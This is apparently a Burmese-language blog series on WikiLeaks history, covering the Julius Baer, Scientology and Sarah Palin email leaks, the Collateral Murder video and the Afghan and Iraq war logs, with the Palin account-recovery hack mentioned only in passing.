အမေရိကန်နိုင်ငံ ကိုယ်တိုင် လူအခွင့်အရေးခေါင်းစဉ် အောက်မှာ အခြားနိုင်ငံများအရေးမှာ ပါဝင်စွတ်ဖက်ခဲ့တာတွေရှိခဲ့ တာကြောင့်လည်း အခုလို သူတို့ကိုယ်တိုင် စည်းမဲ့ကမ်းမဲ့လုပ်ရပ်တွေကို နိုင်ငံတကာမီဒီယာတွေက မေးခွန်းထုတ်ခဲ့ပါတယ်။ လျှို့ဝှက်အချက်အလက်များဖြစ်သည့်အလျှောက် ဖုံးကွယ်ထားသည့်တိုင် အခုလိုမျိုး နိုင်ငံကတာက ဖတ်ရှုလို့ရအောင်လို့ WikiLeaks ကထုတ်ဖော်ပေးခဲ့ပါတယ်။ အဲ့ဒီကနေစပြီးတော့ လူတွေက WikiLeaks ကိုသတိထားမိလာကြပါတယ်။ WikiLeaks ဘက်ကလည်း အင်းအားကြီးနိုင်ငံတခုရဲ့ အစိုးရဟာ လုပ်ပိုင်းခွင့်တွေကို အသုံးချပြီးတော့ သတင်းအမှန်တွေ ဘယ်လောက်များများ ကိုဖုံးကွယ်ထား နိုင်သလဲဆိုတာကိုလည်း သက်သေပြနိုင်ခဲ့ပါတယ်။ ကမ္ဘာ့ အလည်မှာ အမေရိကန် အစိုးရ မျက်နှာတော်တော်ပျက်ခဲ့ရပါတယ်။

## Bank Julius Baer (ဂျူးလ်ယက်စ်ဘဲဘဏ်)

ကမ္ဘာပေါ်မှာ ဆွီစ်ဘဏ်ဆိုရင် လူတော်တော်များများက ယုံယုံကြည်ကြည်ရှိကြပါတယ်။ သို့သော်လည်း အချောင်သမားဆိုတာကတော့ လူမျိုးတိုင်း နိုင်ငံတိုင်းမှာရှိကြတာမို့ အမြီးကျက် အမြီးစား ခေါင်းကျက်ခေါင်းစား ဆိုတဲ့လူမျိုးကလည်းရှိတာမို့ ပြီးပြည့်စုံတယ်ဆိုတာမရှိပါဘူး။ ဖေဖဝါရီလ ၂၀၀၈ခုနှစ်မှာတော့ WikiLeaks က ဆွီစ်ဘဏ်တစ်ခုဖြစ်တဲ့ Bank Julius Baer အတွင်းရေးတွေကို leak လုပ်ပါတယ်။ အဲ့ဒီစာရွက်စာတမ်းတွေကတော့ ၂၀၀၂ခုနှစ်က ဖြစ်ခဲ့တဲ့အဖြစ် တစ်ခုကနေစတယ်လို့ဆိုရမှာပါ။ ဖြစ်ပုံက ၁၉၉၇ ခုနှစ်ကနေ ၂၀၀၂ ခုနှစ်အတွင်းမှာ အဲ့ဒီဘဏ်ကနေပြီးတော့ ဓနရှင်တော်တော်များများရဲ့ ငွေစာရင်းတွေကို ဖျောက်ပေးထားတယ်တဲ့သတင်းက ထွက်လာပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-cceaca8b0ce1bbbd08decba3794cfba1dcebeb26%2FBjb-organigram2.png?alt=media" alt=""><figcaption></figcaption></figure>

ဘဏ်ကအတွင်းပိုင်း အရာရှိတော်တော်များများကို အဲ့ဒီကိစ္စနဲ့ပတ်သတ် ပြီးတော့စစ်ဆေးတဲ့အခါမှာလည်း စိတ်ကျေနပ်ဖွယ်ရာ အဖြေမျိူးမရခဲ့ပါဘူး။ နောက်ပိုင်းကျမှ WikiLeaks ကနေပြီးတော့ ကမ္ဘာ့ သန်းကြွယ်သူဌေး တွေရဲ့ အခွန်ရှောင်ခြင်း၊ ငွေမဲကို ငွေဖြူလှယ်ခြင်း၊ ငွေစာရင်း ပိုင်ဆိုင်မူများ သိုဝှက်ထားပေးခြင်း တို့ကို ဘဏ်ကအထက် အရာရှိတွေကလုပ်ပေးတယ်ဆိုတဲ့ အထောက်အထားတွေကို leak ပါတယ်။ ဘဏ်ဘက်ကလည်း အဲ့ဒါကို ငြင်းဆိုပြီးတော့ WikiLeaks ကိုပြန်ပြီးတော့တရားဆွဲပါတယ်။ ကယ်လီဖိုးနီးရား မြောက်ပိုင်းနယ်မြေ တရားရုံးက တရားသူကြီး Judge Jeffery White က WikiLeaks.org domain ကို register လုပ်ထားပေးတဲ့ Dynadot ဆိုတဲ့ domain registrar ကို WikiLeaks.org domain ကိုဖြုတ်ချပေးဖို့တွန်းအားပေးလာပါတော့တယ်။ အဲ့ဒီသတင်းက မီဒီယာတွေနဲ့ cyber-liberties တွေကြားမှာ အမေရိကန်နိုင်ငံရဲ့ First Amendment ဆိုတဲ့ လွတ်လပ်စွာပြောဆိုရေးသားခွင့်ဆိုင်ရာ ဥပဒေမူနဲ့ ငြိစွန်း နေတာကြောင့် ထောက်ပြစရာဖြစ်လာပါတယ်။ အဲ့ဒါကြောင့်လည်း ၅ရက်နေ့ မတ်လ ၂၀၀၈ခုနှစ်မှာ ၄င်းတရားသူကြီးနဲ့ ဘဏ်ဘက်ကပဲနောက်ဆုတ်ပေးလိုက်ရပါတယ်။ WikiLeaks.org domain လည်းအသက်ပြန်ဝင်လာပါတယ်။ ၂၀၁၁ခုနှစ်မှာတော့ ဘဏ်အရာရှိဟောင်း တစ်ယောက်က အဲ့ဒီ အရှုပ်တော်ပုံ အတွင်းရေး စာရွက်စာတမ်းတွေကို WikiLeaks ကိုထပ်တင်သွားမယ်ဆိုတဲ့သတင်းထပ်ထွက်လာပါသေးတယ်။ WikiLeaks ကနာမည်ရလာစရာ အကြောင်းဖန်လာပါတော့တယ်။

## The Collected Secret Bibles of Scientology (စိုင်ရန်တိုလိုဂျီရဲ့ ကျမ်းစာစုများ)

Scientology ဆိုတဲ့ဟာကို လူတော်တော်များများ သိပြီးကြပါပြီ။ ၁၉၅၄ခုနှစ်လောက်ကတည်းက စတင်ခဲ့တဲ့ ဘာသာရေး အယူဝါဒတစ်ခု ဖြစ်သလို လူတော်တော်များများကလည်း အခုထိတိုင် ဘာသာတစ်ခုအဖြစ် လက်မခံကြပါဘူး။ စာရေးသူကိုယ်တိုင် Scientology ဆိုတာကို နားမလည်နိုင်သေးတဲ့ ဟာမျိုးပါ။ သမတ်ရိုးကျ မဟုတ်တဲ့ ယုံကြည်မှုမျိုးလည်းဖြစ်ပါတယ်။ ဒီ post မှာတော့ WikiLeaks ကနေ leak တဲ့ အကြောင်းလေးတွေရေးတဲ့အတွက် Sciecntology အကြောင်းကို အသေးမစိတ်တော့ပါဘူး။ အချုပ်အားဖြင့် Scientology ကို Hollywood က အရမ်းချမ်းသားပြီးသား မင်းသား မင်းသမီးတွေ တော်တော်များများက လိုက်စားကြပါတယ်။ Tom Cruise တို့ John Travolta တို့လိုမျိုး အရမ်းလည်းချမ်းသား အရမ်းလည်းနာမည်ကြီးတဲ့ သရုပ်ဆောင်တွေ အဲ့ဒီ Scientology ထဲမှာပါဝင်ပတ်သတ်နေတာလည်း သိရှိရပါတယ်။ ၁၉၅၄ခုနှစ် လောက်ကတည်း လျှို့ဝှက် အဖွဲ့အစည်း အနေနဲ့ ရပ်တည်ပြီးတော့ သူကြွယ်တွေက ကျောထောက်နောက်ခံပေးထား တာကြောင့်လည်း အလွန်ချမ်းသာကြွယ်ဝတဲ့ အဖွဲ့လို့လည်းဆိုရမှာပါ။ အစပိုင်းမှာ အတွေးအခေါ် သီးသန့်နဲ့ စခဲ့ရာကနေ နောက်ပိုင်းတော့ ဘာသာရေးအသွင်ကို ကူးယူပြီးတော့ ပိုမိုအောင်မြင်လာခဲ့ပါတယ်။ Scientology တည်ထောင်သူကိုယ်တိုင် ကလည်းတချိန်တုန်းက ဘာသာရေးဆိုတဲ့ဟာ အမြတ်အများကြီးရစေတယ်… အလွန်ကောင်းတဲ့ စီးပွားရေး ပုံစံဖြစ်တယ်လို့ဆိုခဲ့ဘူးပါတယ်။ နောက်ပိုင်းမှာတော့ ကိုယ်ပိုင် ဘာသာရေးတစ်ခုကိုတည်ထောင်နိုင်ခဲ့တာလည်း ဖြစ်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-aaf4a5203f778ec590f24dd0a8de2619deefaaab%2FChurch_of_Scientology_building_in_Los_Angeles_Fountain_Avenue-768x548.jpg?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-9a8a99f7f4d6fc0d1b6ea66e105d2352c646ad2f%2FLegal-Demand-from-Scientology-768x495.jpg?alt=media" alt=""><figcaption></figcaption></figure>

မတ်လ ၂၀၀၈ခုနှစ်မှာတော့ WikiLeaks က Scientology အဖွဲ့ကြီးရဲ့ လျှို့ဝှက် ကျမ်းစာတွေဖြစ်တဲ့ Operating Thetan I ကနေ Operating Thetan VIII အထိ (အတိုကောက်ကိုတော့ OT8 လို့ခေါ်ပါတယ်။) ကို leak လုပ်ပါတယ်။ ပြီးတော့ New era Operating Thetans လို့ခေါ်တဲ့ NOTs ဟာတွေပါ leak လိုက်ပါတော့တယ်။ ၃ရက်အကြာမှာတော့ WikilLeaks ဟာ copyright law နဲ့ငြိစွန်းတယ်ဆိုပြီး တရားစွဲမည့် ခြိမ်းခြောက်စာကို လက်ခံရရှိခဲ့ပါတယ်။ WikiLeaks ကလည်း ၄င်းစာကိုပါ WikiLeaks ပေါ်မှာတည်ပြီးတော့ ပြက်ရယ်ပြုခဲ့ပါတယ်။ နောက်တခါ WikiLeaks ကို လူသိများဖို့ ဖြစ်လာပါတော့တယ်။

## Sarah Palin’s Yahoo Emails (ဆာရာပါလင်းရဲ့ ရာဟူးအီးမေးလ်များ)

မကြာသေးခင်ကဖြစ်သွားတဲ့ Hilary Clinton ရဲ့ email server ကို hack ခံရပြီးတော့ လူတွေကြားမှာ ပေါက်ကြားသွားတဲ့ ဖြစ်ရပ်မျိုး စက်တင်ဘာလ ၂၀၀၈ခုနှစ်မှာ ဖြစ်ခဲ့ဘူပါတယ်။ hack ခံရတဲ့ နိုင်ငံရေးသမားကတော့ Sarah Palin ဖြစ်ပါတယ်။ ပုံမှန်အားဖြင့်တော့ leak တစ်ခုရဲ့ source ကဘယ်သူဖြစ်တယ်ဆိုတာကို WikiLeaks ကထုတ်ဖော်လေ့ မရှိသလို Julian Asssange ကလည်း အဲ့လိုနည်းနဲ့သာ source တွေကိုကာကွယ်နိုင်မယ်လို့ ဆိုပါတယ်။ အခုတစ်ခုမှာတော့ source က လူသိများလာတဲ့ Anonymous ထဲက အဖွဲ့ဝင်တစယောက်က Sarah Palin နဲ့ သူရဲ့ election campaign ကိုအတူတူဝင်တဲ့ John McCain တို့ရဲ့ email တွေကို WikiLeaks ကိုတင်တယ်လို့ဆိုပါတယ်။ Anonymous ဆိုတာလည်း ဘယ်သူဆိုတာကို မသိနိုင်တဲ့ အဖွဲ့တစ်ခုပါ။ ကမ္ဘာပေါ်မှာ hacker တွေ cyber-activist တွေနဲ့ ဖွဲ့စည်ထားတဲ့ အတွက် အဓိကအားဖြင့် cyber space မှာလုပ်နိုင်တဲ့ revolution တွေကို အရှေ့ကဦးဆောင်ပြီးတော့ စစ်မျက်နှာပြင်ဖွင့်တဲ့ အဖွဲ့ပါ။ Anonymous အကြောင်းကရေးလို့ ကုန်မှာမဟုတ်သလို အဖြစ်အပျက်တွေတော်တော်များများ ရှိခဲ့ဘူးပြီးပါပြီ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-83478b2b839c2de2921bc77901538e0108e67380%2FSarah_palin_inbox4-768x554.jpg?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-73be8c2a8fd3d4b40015932d8a501f090367550d%2FSarah-Palin.jpg?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-09e245160596ba63809022d8ba4ececcddbd0359%2FDavid_Kernell_mug_shot-222x300.jpg?alt=media" alt=""><figcaption></figcaption></figure>

WikiLeaks အကြောင်းဆက်ပါမယ်။ အဲ့ဒီ Sarah Palin ရဲ့ email ကို hack တဲ့ hacker ကတော့ Anonymous အဖွဲ့ဝင်တစ်ယောက်ဖြစ်တဲ့ David Kernell ဖြစ်ပါတယ်။ သူ Sarah Palin ရဲ့ email ကို hack တဲ့ပုံစံက အရမ်းကြီးခက်ခက်ခဲခဲ မဟုတ်သလို social engineering လို့ခေါ်တဲ့ နည်းမျိုးကို အသုံးပြုသွားတာပါ။ အဲ့ဒီတုန်းက Yahoo ရဲ့ forgotten password ဆိုတဲ့ဟာမှာ account recovery အတွက် secret questions တွေဖြေလိုက်တာနဲ့ account ကို recover လုပ်လို့ရပါတယ်။ David Kernell ဟာ Sarah Palin ရဲ့ socail media account တွေနဲ့ Google ထဲမှာရှာလို့ တွေတဲ့ Sarah Palin ရဲ့ တက်ခဲ့ကျောင်းတွေ နဲ့ မွေးရက်တွေကို ထည့်သွင်းပြီးတော့ Sarah Palin ရဲ့ Yahoo mail account ကို သိမ်းပိုက်လိုက်နိုင်ပါတယ်။ အစပိုင်းမှာတော့ 4Chan ဆိုတဲ့ webblog တစ်ခုမှာ အပျော်သဘောမျိုးတင်ရာကနေပြီးတော့ နောက်ပိုင်းမှာတော့ WikiLeaks ကို David Kernell တင်ခဲ့ပါတော့တယ်။ David Kernell ဟာ privacy ချိုးဖောက်မှုနဲ့ တရားအဆွဲဆိုခံရပြီးတော့ ၁၂ရက်နေ့ နိုဝင်ဘာလ ၂၀၁၀ခုနှစ်မှာ စီရင်ချက်ချတာခံရပါတယ်။ တစ်နှစ်နဲ့ တစ်ရက် အကျယ်ချုပ်ကျခံရပြီးတော့ ၃နှစ်ကြာ အစိုးရရဲ့ စောင့်ကြည့်မှုအောက်နေရမယ်လို့ စီရင်ချက်ချပါတယ်။ Sarah Palin ရဲ့ Yahoo personal email တွေဟာ သူ့ရဲ့ လူမှုရေး နိုင်ငံရေး အရှုပ်တော်ပုံတွေကို သိစေနိုင်ခဲ့ပါတယ်။ အတွင်းရေးဆိုတဲ့အတိုင်း လူတိုင်းမသိကောင်းတဲ့ အချက်တွေကိုပါ WikiLeak ကနေတဆင့် ကမ္ဘာလုံးက သိရှိလိုက်ရပါတယ်။ WikiLeaks နဲ့ Anonymous အတူ revolution တစ်ခုကို သက်သေထူနိုင်ခဲ့ပါတယ်။

ဒီအပိုင်းမှာတော့ အခုလောက်နဲ့ပဲရပ်လိုက်ပါတော့မယ်။ နောက်တစ်ခုမှာတော့ နောက်ထပ် WikiLeaks က နေ leak လိုက်တဲ့ နာမည်ကြီး leak ၄ခုကိုထက်ပြီးတော့ ဖော်ပြပေးပါ့မယ်။


# WikiLeaks ဆိုသည်မှာ အပိုင်း (၃)

ဒီတပိုင်းမှာတော့ WikiLeaks က leak ခဲ့တဲ့ နာမည်ကြီးတဲ့ leak ၄ခုကိုဆက်လက်ဖော်ပြပေးပါ့မယ်။ အောက်ပါ leak တွေကတော့ အမေရိကန်နိုင်ငံနဲ့ အမေရိကန်အစိုးရ ကိုကမ္ဘာကမြင်တဲ့ အမြင်ကိုလုံးဝပြောင်းလိုက်နိုင်ခဲ့တဲ့ leak တွေပဲဖြစ်ပါတယ်။ ဒီအပိုင်း WikiLeaks ဆိုသည်မှာ နောက်ဆုံးအပိုင်းဖြစ်ပါတယ်။ WikiLeaks ရဲ့ leak တွေဟာကျယ်ပြန့်လွန်းလှလို့ ဒီ post ရေးဖို့ material ရှာတဲ့ နေရာမှာ စာရေးသူတော်တော် အားစိုက်ထုတ်ပြီးတော့ ရှာဖွေဖတ်ရတာတွေများပါတယ်။ အကုန်လုံးလိုက်ရေး လိုက်ဖတ်လို့လည်း မကုန်နိုင်လောက်အောင်ပါပဲ။ ဥပမာ WikiLeaks ပေါ်မှာ မြန်မာနိုင်ငံနဲ့ ပတ်သတ်တဲ့ leak တွေတော်တော်များများရှိပါတယ်။ စိတ်ဝင်စားရင်တော့ ကိုယ်တိုင်ရှာဖွေပြီးတော့ အင်္ဂလိပ်လို လေ့လာဖတ်ရှုလို့ရပါတယ်။ မြန်မာနိုင်ငံ စစ်အစိုးရနဲ့ ဒီမိုကရေစီ လူ့အခွင့်အရေးတွေနဲ့ ပတ်သတ်ပြီးတော့ diplomatic ဆိုင်ရာ အမေရိကန် နိုင်ငံခြားရေးတွေနဲ့ ဆက်သွယ်ထားတဲ့ email တွေကိုတွေ့ရှိနိုင်မှာဖြစ်ပါတယ်။

WikiLeaks ဟာ Wikipedia လိုမျိုး အချက်အလက်တွေကို စုဆောင်းပေးထားတဲ့ Wiki တစ်ခုဖြစ်ပါတယ်။ Wikipedia ကတော့ နေ့စဉ်လေ့လာဖွယ်ရာတွေကိုလေ့လာနိုင်သလို WikiLeaks ဟာလည်း နိုင်ငံတကာ အစိုးရနဲ့ အထက်တန်းလွှာလူတန်းစား တစ်ရပ်ရဲ့ ဖိနှိပ်ချုပ်ကိုင်ထားတဲ့ စနစ်ဆိုးကြီးတစ်ခုရဲ့ လျှို့ဝှက်ချက်တွေကို ရှာဖွေလေ့လာလို့ရအောင် လုပ်ပေးထားတဲ့ platform တစ်ခုပါ။ အဓိက ကတော့ သာမန်လူတွေကို information ပေးတဲ့ သဘောမျိုးပါ။ လက်ရှိအချိန်ထိတော့ WikiLeaks က အအောင်မြင်ဆုံး leak လုပ်လို့ ရတဲ့ platform တစ်ခုဖြစ်ပါတယ်။ ဒီ post မှာတော့ စာရေးသူ စိတ်ကြိုက်လည်းဖြစ် လူသိများခဲ့တဲ့ leak တွေကိုသာ ရွေးချယ်ပြီးတော့ ရေးသားထားခြင်းသာ ဖြစ်ပါတယ်။ စိတ်ဝင်စားကြမယ်လို့လည်း မျှော်လင့်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-b22cf7b904fb23bd1c03ed56f08eb359368947b5%2FWikileaks.jpg?alt=media" alt=""><figcaption></figcaption></figure>

## မရည်ရွယ်ခဲ့သော လူသတ်ပွဲ ဗီဒီယို (Collateral Murder Video)

အမေရိကန်စစ်မြေပြင်ဖွင့်ရာ Iraq နိုင်ငံ Baghdad မြို့မှာ ဇူလိုင်လ ၁၂ ရက်နေ့ ၂၀၀၇ခုနှစ်တုန်းက ဖြစ်ခဲ့တဲ့ အဖြစ်အပျက်လေးတစ်ခုပါ။ WikiLeaks က ဥပမာသဘောမျိုးနဲ့ စစ်မြေပြင် အနေအထားနဲ့ အမေရိကန်စစ်တပ်ရဲ့ လုပ်ငန်းစဥ်တွေကို တင်ပြလိုခြင်းဖြစ်ပါတယ်။ အဲ့ဒီတုန်းက စစ်မြေပြင်မှာ မဆိုင်တဲ့ Iraq နဲ့ Iran နိုင်ငံက ပြည်သူတွေ အများကြီးရှိခဲ့ပါတယ်။ စစ်တိုက်ရင်း ဖြစ်တတ်တဲ့သဘောဆိုပေမယ့်လည်း စစ်ကာလကြာရှည်လာသည့်အလျှောက် သေဆုံးရတဲ့ ပြည်သူတွေက တော်တော်လေး များခဲ့ပါတယ်။ အမေရိကန် စစ်တပ်ပိုင်းဆိုင်ရာကတော့ အဲ့လိုမျိုး ပြည်သူတွေသေရတာကို သူတို့စစ်တပ်မှာ အင်္ဂလိပ်လိုဆိုရင် Collateral Damage ဆိုပြီးတော့ သုံးပါတယ်… မတော်တဆ တိုက်ရင်းခိုက်ရင်း သေတဲ့သဘောမျိုးကိုဆိုလိုချင်တာဖြစ်ပါတယ်။ နောက်တမျိုးကတော့ friendly fire ဆိုတာမျိုးနဲ့ လည်း ခပ်ဆင်ဆင်တူပါတယ်။ စစ်တပ်က မီဒီယာတွေကို သတင်းစာရှင်းလင်းပွဲမှာလည်း မတော်တဆသတ်မိတယ် မရွည်ရွယ်ပဲသေကုန်တယ်လို့သာ ရှင်းပါတယ်။ စိတ်မကောင်း ကြောင်း ဝမ်းနည်းကြောင်းလည်း အကြိမ်ကြိမ်ပြောပါတယ်။ လူတွေကတော့ မီဒီယာလာတဲ့ သတင်းလောက်ပဲသိရတာဖြစ်ရတဲ့အတွက် ရုပ်ရှင်တွေထဲကလိုပဲလို့ ထင်ခဲ့ကြရပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-9b2979f7d340ad76ead65113b9f6cc36ddb7f71a%2Fcollateral_murder-wikileaks.jpg?alt=media" alt=""><figcaption></figcaption></figure>

ဧပြီလ ၅ရက်နေ့ ၂၀၁၀ခုနှစ်မှာတော့ WikiLeaks ဟာ Collateral Murder ဆိုပြီးတော့ အမေရိကန်စစ်တပ် ရဟတ်ယာဉ် ပေါ်ကနေရိုက်ယူထားတဲ့ ဗီဒီယိုတစ်ခုကို leak လုပ်ပါတယ်။ ဗီဒီယိုထဲမှာ တော့ ရန်သူလို့ထင်ရတဲ့ target တစ်ခုကိုတိုက်ခိုက်ဖို့ကို အထက်အရာရှိကို ခွင့်တောင်းပြီးတော့ တိုက်ခိုက်ဖို့ပြင်တဲ့ နေရာကနေစပါတယ်။ ပြည်သူတွေလည်း အနီးနားမှာ အများကြီးရှိတဲ့ လူထူထပ်တဲ့နေရာ တစ်ဖြစ်ပါတယ်။ သို့သော်လည်း အထက်အရာရှိက ပစ်ခတ်တိုက်ခိုက်ဖို့ကို အခွင့်ပေးပါတယ်… လေတပ်တိုက်ခိုက်ရေးတပ်ကလည်း အားရပါးရစတင်ပစ်ခတ်ပါတော့တယ်။ ပစ်ခတ်ရင်းသူတို့ အချင်းချင်းပြောတဲ့ စကားသံတွေ ပါကြားနေရပါတယ်။ မြိန်ရေယှက်ရေ လူသတ်ပွဲကြီး ဆင်နွှဲနေသည့်အလား တစ်ယောက်နဲ့ တစ်ယောက်လည်း ကြွားလုံးတွေထုတ်နေတာကို ကြားရပါတယ်။ တီဗီဂိမ်းဆော့တဲ့ပုံမျိုးဖြစ်နေပါတယ်။ ဒဏ်ရာရနေတဲ့သူတွေကို ကယ်ဖို့လာတဲ့ ကားတစ်စီးပါ ပေါက်ကွဲတဲ့အထိ ပစ်ခတ်တိုက်လိုက်ပါတယ်။ အကုန်သေပါတယ်။ ဖြစ်ချင်တော့ သေဆုံးသွားတဲ့ သူတွေထဲမှာ Reuters ကသတင်းထောက်နှစ်ပါသွားပါတယ်။ ကားနဲ့လာကယ်တဲ့ ပြည်သူနှစ်ယောက်ကိုလည်း ပစ်ခတ်လို့သေဆုံးခဲ့ရပါတယ်။ Julian Assange က အဲ့ဒီ ဗီဒီယိုကို Collateral Murder ဆိုပြီးတော့ နာမည်ပေးပြီး WikiLeaks မှာတင်လိုက်ပါတယ်… Collateral Damage ဆိုတဲ့ဟာကိုသရောတဲ့ သဘောနဲ့ပါ။ ကမ္ဘာက အဲ့ဒီ ဗီဒီယိုကိုကြည့်ပြီးတော့ မေးခွန်းထုတ်စရာတွေဖြစ်လာပါတယ်။ Collateral Damage မတော်တဆသေဆုံး ပျက်စီးတယ်ဆိုတာ တကယ်ဟုတ်ပါ့မလားဆိုပြီးတော့ သံသယတွေဝင်လာပါတယ်။ အမေရိကန်စစ်တပ်နဲ့ အစိုးရမျက်နှာနာခဲ့ရပြန်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-3bfacd52b6a17befeeb2f925a5417174987e817a%2FIMAGEN-16794833-2.jpg?alt=media" alt=""><figcaption></figcaption></figure>

အမေရိကန် စုံစမ်းထောက်လှမ်းရေးကလိုက်ရှာတော့ နောက်ဆုံးမှာ Chelsea Manning ဆိုတဲ့ ရိုးရိုးစစ်သားတစ်ယောက်က WikiLeaks ကိုတင်လိုက်တယ်ဆိုတာကိုရှာဖွေတွေ့ရှိခဲ့ပါတယ်။ Chelsea Manning က လေတပ်တိုက်ခိုက်ရေးကို ထိန်းသိမ်းရေး အဖွဲ့မှာ အချိန်ပြည့် တာဝန်ကျတဲ့ စစ်သားတစ်ယောက်ပါ။ သူကအဲ့ဒီ ဗီဒီယိုကို Lady Gaga သီချင်း CD ပေါ်မှာသိမ်းပြီးတော့ အပြင်ကိုရအောင်ထုတ်ခဲ့တယ်လို့ဆိုပါတယ်။ Chelsea Manning ဟာ အသက်အားဖြင့်လည်းငယ် ရင့်လည်းမရင့်ကျက်သေးတာမို့ သူ အဲ့ဒီဗီဒီယိုကို WikiLeaks ကိုတင်ခဲ့အကြောင်းကို အွန်လိုင်းမှာသိတဲ့ လူတစ်ယောက်ကိုကြွားရာကနေ အဲ့ဒီအွန်လိုင်းကလူက အမေရိကန်အစိုးရကို သတင်းပေးခဲ့ပါတယ်။ အဲ့ဒီလူကလည်း တိုက်တိုက်ဆိုင်ဆိုင် နာမည်ကြီး Grey Hat Hacker တစ်ယောက်ဖြစ်တဲ့ Adrian Lamo ဖြစ်နေခဲ့ပါတယ်။ နောက်ဆုံးတော့ Chelsea Manning အဖမ်းခံရပါတော့တယ်။ အခုချိန်ထိ စီရင်ချက်ကို မချသေးပဲ စစ်ဆေးဆဲလို့လည်းဆိုပါတယ်။ တချို့ကလည်း Chelsea Manning ဟာ ထောင်ထဲမှာ တော်တော်လေး အနှိပ်စက်ခံရတယ်လို့ထင်ကြေးပေးကြပါတယ်။ သေချာသာတစ်ခုကတော့ အမှုကတော့ မသေးပါဘူး။ WikiLeaks ဘက်တော့ Chelsea Manning ကိုကယ်ဖို့အတွက် ရှေ့နေ စီစဉ်ပါတယ် မအောင်မြင်လိုက်ပါဘူး။ WikiLeaks သမိုင်းမှာ အထင်ကရအဖြစ်ဆုံး leak လို့ဆိုရမှာဖြစ်ပါတယ်။

## အာဖကန် အီရတ် စစ်မှတ်တမ်းများ (Afghan and Iraq War Logs)

War Logs ဆိုတာကတော့ အမေရိကန် အစိုးရ Iran နဲ့ Afghan မှာ စစ်တိုက်စဥ်တုန်းက ဖြစ်ပျက်ခဲ့တဲ့ အသေးစိတ်အကြောင်းအရာ တွေကိုမှတ်တမ်းတင်ထားတဲ့ အချက်အလက်တွေ ဖြစ်ပါတယ်။ ၂၂ရက်နေ့ အောက်တိုဘာလ ၂၀၁၀ ခုနှစ်မှာတော့ WikiLeaks ဟာ အမေရိကန် စစ်တပ်ဆိုင်ရာ ထိပ်တန်းလျှို့ဝှက်ချက် ပေါင်း ၃၉၁၈၃၂ ခုကို WikiLeaks ပေါ်မှာ အများသိ အောင်လို့တင်လိုက်ပါတော့တယ်။ ထိပ်တန်းလျှို့ဝှက်ချက် ဆိုတဲ့အတိုင်း အမေရိကန် စစ်တပ်ရဲ့ မကောင်းတဲ့ အကြောင်းတော်တော်များများ ပါတဲ့ အဲ့ဒီ war logs ဟာ အကြီးဆုံး leak တစ်ခုအနေနဲ့ သမိုင်းတွင် ကျန်ရစ်စေခဲ့ ပါတယ်။ အစောပိုင်း ဇူလိုင်လ ၂၀၁၀ ခုနှစ်မှာလည်း အာဖကန် စစ်တုန်းက စစ်မှတ်တမ်းတွေလည်း ထုတ်ပြန်ခဲ့ပြီး တဲ့အပြင် Julian Assange က တခြားနာမည်ကြီး သတင်းမီဒီယာတွေ ဖြစ်တဲ့ New York Times, the Guardian နဲ့ Der Spiegel တို့နဲ့ ပြိုင်တူဆိုသလို လူတိုင်းသိနိုင်အောင်လို့ ထုတ်ပြန်ခဲ့ပါတယ်။ စစ်မှတ်တမ်း တွေထဲမှာတော့ ထင်ရှားတဲ့ ဖြစ်ရပ်တစ်ခုကတော့ စစ်တွင်း သံသယရှိသူတွေကို အီရတ်မဟာမိတ်အဖွဲ့တွေက ရက်စက်စွာ နှိပ်စက်ပြီး စစ်ဆေးမေးမြန်းထားတာတွေကို အမေရိကန် စစ်တပ်ဘက်က မသိဟန်ဆောင် မျက်ကွယ်ပြုထားခဲ့တာပါပဲ။ အဲ့လိုရက်စက်စွာ နှိပ်စက်မှုကြောင့်လည်း မသေသင့်တဲ့ ပြည်သူထဲက ရိုးရိုးပြည်သူတွေ အများအပြား သေဆုံးခဲ့ရပါတယ်။ မတော်တဆ စစ်ရင်းဆေးရင်း သေဆုံးသွားတဲ့ဟာတွေကိုလည်း အမေရိကန် စစ်တပ်ဘက်က ဖုံးကွယ်ပေးခဲ့ပါတယ်။ နောက်ပြီးတော့ အဲ့ဒီ war logs တွေထဲမှာ အမေရိကန်အစိုးရပိုင်း အနေနဲ့ ပါကစ်စတန် စစ်တပ် ထောက်လှမ်းရေး အဖွဲ့က အာဖကန် တာလီဘန် သောင်းကျန်မှုကို အနောက်ဘက်နေ ထောက်ပန့် နေတယ်ဆိုတာကို သံသယရှိတယ် ဆိုတာမျိုးတွေ ပါလာတဲ့အတွက် သံတမန်ရေးရာမှာ အမေရိကန်အစိုးရ အနေနဲ့ မျက်နှာပျက်စရာတွေ ဖြစ်ခဲ့ရပါတယ်။

